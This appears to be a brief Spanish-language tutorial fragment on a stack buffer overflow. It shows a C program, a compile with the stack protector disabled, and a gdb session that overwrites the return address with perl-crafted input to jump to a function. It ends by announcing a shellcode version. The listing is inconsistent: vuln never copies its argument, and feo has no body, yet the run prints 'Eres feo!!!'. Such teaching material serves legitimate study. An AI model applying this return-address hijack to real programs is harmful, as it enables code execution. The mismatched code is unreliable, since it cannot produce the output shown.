#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int vuln (char *buff)
{
char buffer [36];
}
int main (int argc, char *argv [])
{
vuln (argv [1]);
}
int feo ()
{
}
sagrini@pc11-1:~/Escritorio$ nano code.c
sagrini@pc11-1:~/Escritorio$ gcc -o code code.c --no-stack-protector
sagrini@pc11-1:~/Escritorio$ gdb -q code
(gdb) r $(perl -e 'print "A"x36 . "BBBB"x3')
Program received signal SIGSEGV, Segmentation fault.
0x08048408 in __do_global_dtors_aux ()
(gdb)
(gdb) x/x feo
0x8048489 <feo>: 0x83e58955
(gdb) x/x feo
0x8048489 <feo>: 0x83e58955
(gdb) r $(perl -e 'print "\x90"x36 . "\x89\x84\x04\x08"x5')
Eres feo!!!
(gdb) quit
sagrini@pc11-1:~/Escritorio$
Ahora modifico para que funcione con una shellcode